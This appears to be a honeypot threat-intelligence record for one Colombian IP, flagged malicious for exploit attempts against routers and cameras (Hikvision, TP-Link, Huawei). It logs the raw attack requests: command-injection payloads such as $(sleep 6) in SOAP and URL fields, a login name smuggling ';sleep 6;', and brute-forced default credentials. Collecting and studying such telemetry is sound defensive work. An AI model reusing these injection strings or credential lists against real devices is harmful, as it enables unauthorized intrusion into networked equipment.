{"ip":"190.159.36.43","total_events":79,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"6 exploit-path hits","confidence":"high","network_type":null,"why":["6 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 17,058 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"17,058 bytes sent","bytes_sent":17058,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-20T17:18:54","last_seen":"2026-09-20T20:47:01","events_24h":0,"events_7d":0,"geo":{"country_code":"CO","country_name":"Colombia","region":"Antioquia","city":"Medellín","lat":6.2529,"lon":-75.5646,"asn":14080,"org":"Telmex Colombia S.A."},"source_domain":"dynamic-ip-1901593643.cable.net.co","known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2021-36260","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage"},{"cve_id":"CVE-2023-1389","title":"TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/luci/;stok=/locale?form=country"}],"malware":[],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":77},{"port":37215,"proto":"tcp","label":"","count":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq040_00050801_2daa70d6","b11cun020_00040001_78f1f19c","b11cuq040_08040801_2daa70d6","b11cuq050_00050811_985b9497","b11cuq050_00850801_985b9497"]},"fingerprint_peers":{"b11cuq040_00050801_2daa70d6":92,"b11cun020_00040001_78f1f19c":49,"b11cuq040_08040801_2daa70d6":1,"b11cuq050_00050811_985b9497":7,"b11cuq050_00850801_985b9497":3},"akin_families":{"b11cuq040_00050801_2daa70d6":{"head":"b11cuq040_00050801_2daa70d6","shapes":2,"ips":92},"b11cuq050_00850801_985b9497":{"head":"b11cuq040_00050801_2daa70d6","shapes":2,"ips":92}},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-09-20","count":79}],"recent_events":[{"timestamp":"2026-09-20T20:47:01","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"347\",\"content-type\":\"text/xml; charset=\\\"utf-8\\\"\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"\\\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\\\"\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(sleep 6)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c3b20636861727365743d227574662d38220d0a534f4150416374696f6e3a202275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a312355706772616465220d0a436f6e74656e742d4c656e6774683a203334370d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e2428736c6565702036293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f2048554157454955504e50293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"5fe57d16-cad7-4928-856d-d8026862cb92","seq":1,"duration_ms":100,"bytes_in":566,"bytes_out":78},{"timestamp":"2026-09-20T20:46:49","port":37215,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"347\",\"content-type\":\"text/xml; charset=\\\"utf-8\\\"\",\"host\":\"<HONEYPOT>:37215\",\"soapaction\":\"\\\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\\\"\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(sleep 0)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/ctrlt/DeviceUpgrade_1","summary":"","payload_hex":"504f5354202f6374726c742f446576696365557067726164655f3120485454502f312e310d0a486f73743a20<HONEYPOT>3a33373231350d0a436f6e74656e742d547970653a20746578742f786d6c3b20636861727365743d227574662d38220d0a534f4150416374696f6e3a202275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a312355706772616465220d0a436f6e74656e742d4c656e6774683a203334370d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e3c4e657753746174757355524c3e2428736c6565702030293c2f4e657753746174757355524c3e3c4e6577446f776e6c6f616455524c3e24286563686f2048554157454955504e50293c2f4e6577446f776e6c6f616455524c3e3c2f753a557067726164653e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"81a4cd23-798f-4fd5-9834-4663cdf47776","seq":1,"duration_ms":100,"bytes_in":566,"bytes_out":78},{"timestamp":"2026-09-20T17:30:25","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/system.ini?loginuse&loginpas","summary":"","payload_hex":"474554202f73797374656d2e696e693f6c6f67696e757365266c6f67696e70617320485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"c150a442-a07c-4ce3-85e7-84d6bccf0845","seq":1,"duration_ms":100,"bytes_in":88,"bytes_out":78},{"timestamp":"2026-09-20T17:30:16","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"authorization\":\"Basic cm9vdDphZG1pbg==\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/zhnping.html","summary":"","payload_hex":"474554202f7a686e70696e672e68746d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a417574686f72697a6174696f6e3a20426173696320636d3976644470685a47317062673d3d0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"7e2cf787-26a2-4286-a838-09745a71b8f4","seq":1,"duration_ms":100,"bytes_in":111,"bytes_out":78},{"timestamp":"2026-09-20T17:30:08","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"authorization\":\"Basic dm9kYWZvbmU6dm9kYWZvbmU=\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/zhnping.html","summary":"","payload_hex":"474554202f7a686e70696e672e68746d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a417574686f72697a6174696f6e3a20426173696320646d396b59575a76626d5536646d396b59575a76626d553d0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"d2efc040-663e-491e-bca0-d8cad38e6add","seq":1,"duration_ms":100,"bytes_in":119,"bytes_out":78},{"timestamp":"2026-09-20T17:29:59","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"authorization\":\"Basic dXNlcjp1c2Vy\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/zhnping.html","summary":"","payload_hex":"474554202f7a686e70696e672e68746d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a417574686f72697a6174696f6e3a2042617369632064584e6c636a7031633256790d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"62c875f8-47c4-4db5-85d0-6d8652266fe9","seq":1,"duration_ms":100,"bytes_in":107,"bytes_out":78},{"timestamp":"2026-09-20T17:29:51","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"authorization\":\"Basic QWRtaW46QWRtaW4=\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/zhnping.html","summary":"","payload_hex":"474554202f7a686e70696e672e68746d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a417574686f72697a6174696f6e3a204261736963205157527461573436515752746157343d0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"51fe298a-aee9-4499-b053-3b3816e96596","seq":1,"duration_ms":100,"bytes_in":111,"bytes_out":78},{"timestamp":"2026-09-20T17:29:42","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"authorization\":\"Basic Y2NpYWRtaW46Y2NpYWRtaW4=\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/zhnping.html","summary":"","payload_hex":"474554202f7a686e70696e672e68746d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a417574686f72697a6174696f6e3a2042617369632059324e70595752746157343659324e70595752746157343d0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"b9b7c54d-41ad-49f5-b423-f82bd226094b","seq":1,"duration_ms":101,"bytes_in":119,"bytes_out":78},{"timestamp":"2026-09-20T17:29:34","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"authorization\":\"Basic YWRtaW46cGFzc3dvcmQ=\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/zhnping.html","summary":"","payload_hex":"474554202f7a686e70696e672e68746d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a417574686f72697a6174696f6e3a2042617369632059575274615734366347467a63336476636d513d0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"24b9c21e-6ea8-433e-a4b0-7cbe91567aea","seq":1,"duration_ms":100,"bytes_in":115,"bytes_out":78},{"timestamp":"2026-09-20T17:29:26","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"authorization\":\"Basic YWRtaW46MTIzNA==\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/zhnping.html","summary":"","payload_hex":"474554202f7a686e70696e672e68746d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a417574686f72697a6174696f6e3a2042617369632059575274615734364d54497a4e413d3d0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"3dbe72bb-769e-4242-81bd-0f52a81266c7","seq":1,"duration_ms":100,"bytes_in":111,"bytes_out":78}],"http_methods":[{"method":"POST","count":56},{"method":"GET","count":20},{"method":"PUT","count":3}],"distinct_ports_total":2,"top_paths":[{"path":"/boaform/admin/formLogin","count":43,"ports":1},{"path":"/zhnping.html","count":11,"ports":1},{"path":"/ctrlt/DeviceUpgrade_1","count":4,"ports":2},{"path":"/SDK/webLanguage","count":3,"ports":1},{"path":"/wanipcn","count":2,"ports":1},{"path":"/apply_sec.cgi","count":2,"ports":1},{"path":"/admin/service/run","count":2,"ports":1},{"path":"/cgi-bin/weblogin.cgi","count":2,"ports":1},{"path":"/cgi-bin/luci/;stok=/locale?form=cloud&operation=write&cloud=$(sleep%206)","count":1,"ports":1},{"path":"/cgi-bin/luci/;stok=/locale?form=cloud&operation=write&cloud=$(sleep%200)","count":1,"ports":1},{"path":"/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(sleep%200)","count":1,"ports":1},{"path":"/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(sleep%206)","count":1,"ports":1},{"path":"/cgi-bin/qmSnapshot.cgi?cmd=echo%20%24%28%281392%2A6463%29%29","count":1,"ports":1},{"path":"/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%20%24%28%283858%2A6711%29%29","count":1,"ports":1},{"path":"/shell?echo%20%24%28%281476%2A9042%29%29","count":1,"ports":1}],"distinct_paths_total":18,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[{"username":"admin","password":"","count":27},{"username":"telecomadmin","password":"","count":3},{"username":"root","password":"","count":3},{"username":"user","password":"","count":2},{"username":"CMCCAdmin","password":"","count":1},{"username":"useradmin","password":"","count":1},{"username":"support","password":"","count":1},{"username":";sleep 6;","password":"x","count":1},{"username":"default","password":"","count":1},{"username":"administrator","password":"","count":1}],"header_profile":{"signature":["Connection","Content-Length","Content-Type","Host","Soapaction"],"representative":[{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"347","notable":false},{"name":"Content-Type","value":"text/xml; charset=\"utf-8\"","notable":true},{"name":"Host","value":"<HONEYPOT>:37215","notable":false},{"name":"Soapaction","value":"\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\"","notable":false}],"distinct_sets":3,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-36260","tag_type":"cve","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage","reference_urls":["https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html","https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/","https://nvd.nist.gov/vuln/detail/CVE-2021-36260","https://github.com/Aiminsun/CVE-2021-36260","https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/"]},{"tag_id":"CVE-2023-1389","tag_type":"cve","title":"TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/luci/;stok=/locale?form=country","reference_urls":["https://www.tenable.com/security/research/tra-2023-11","https://nvd.nist.gov/vuln/detail/CVE-2023-1389","https://github.com/tenable/poc-cve-2023-1389"]}],"data_as_of":"2026-09-30T14:27:50.628194+00:00"}